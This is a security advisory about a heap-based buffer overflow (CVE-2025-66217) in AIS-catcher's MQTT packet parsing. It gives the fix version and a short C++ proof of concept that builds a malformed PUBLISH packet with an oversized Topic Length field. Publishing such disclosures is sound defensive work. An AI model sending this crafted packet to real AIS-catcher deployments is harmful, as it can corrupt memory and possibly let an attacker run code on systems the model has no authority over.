Heap-based Buffer Overflow Affecting jvde-github/AIS-catcher package, versions [,0.64)
Threat Intelligence
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Start learning- Snyk IDSNYK-UNMANAGED-JVDEGITHUBAISCATCHER-14151781
- published30 Nov 2025
- disclosed29 Nov 2025
- creditUnknown
Introduced: 29 Nov 2025
NewCVE-2025-66217 (opens in a new tab)How to fix?
Upgrade jvde-github/AIS-catcher to version 0.64 or higher.
Overview
Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the Protocol::MQTT::read function, which process a PUBLISH packet with QoS 0. An attacker can cause memory corruption and potentially execute arbitrary code by sending a specially crafted MQTT packet with a manipulated Topic Length field.
PoC
// poc_mqtt_library.cpp (Simplified)
// ... (Include headers and MockProtocol definition) ...
int main() {
MockProtocol mock;
Protocol::MQTT mqtt;
mock.add(&mqtt);
// 1. Construct Malicious Packet (Topic Length > Remaining Length)
std::vector<uint8_t> packet = {
0x20, 0x02, 0x00, 0x00, // CONNACK
0x30, 10, // PUBLISH, Remaining Length=10
0x00, 0x14, // Topic Length=20 (Underflow!)
'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A' // Dummy Topic
};
mock.setPacket(packet);
mqtt.onConnect();
// 2. Allocate a valid buffer
uint8_t* buffer = new uint8_t[1024];
// 3. Trigger Vulnerability
// This call triggers memcpy(buffer, source, -12)
// -12 becomes ~18 EB (unsigned), causing massive heap overflow.
mqtt.read(buffer, 1024);
delete[] buffer;
return 0;
}